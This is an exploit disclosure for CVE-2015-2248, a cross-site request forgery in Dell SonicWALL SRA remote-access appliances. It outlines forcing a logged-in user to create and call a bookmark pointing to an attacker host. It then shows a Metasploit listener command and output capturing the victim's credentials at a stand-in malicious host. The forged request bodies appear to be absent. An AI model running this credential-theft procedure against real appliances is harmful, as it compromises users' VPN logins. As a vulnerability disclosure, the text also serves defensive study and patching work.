# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery # Date: 04/28/2015 # Vendor Homepage: www.dell.com # Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv # CVE : 2015-2248 Exploitation Procedure (Outline): 1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker. 2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay. 3. Gather the credentials on the target server provided in step #1 1. Create a bookmark: 2. Call the newly created bookmark This might require some guesswork, because we don't know which value bookmarkAccessed needs to have. 3. Set up a listener E.g. metasploit payload use auxiliary/server/capture/http_basic msf auxiliary(http_basic) > [*] Listening on 0.0.0.0:80... [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://www.malicious-host.tld:80/ [*] Server started. [*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld [+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password"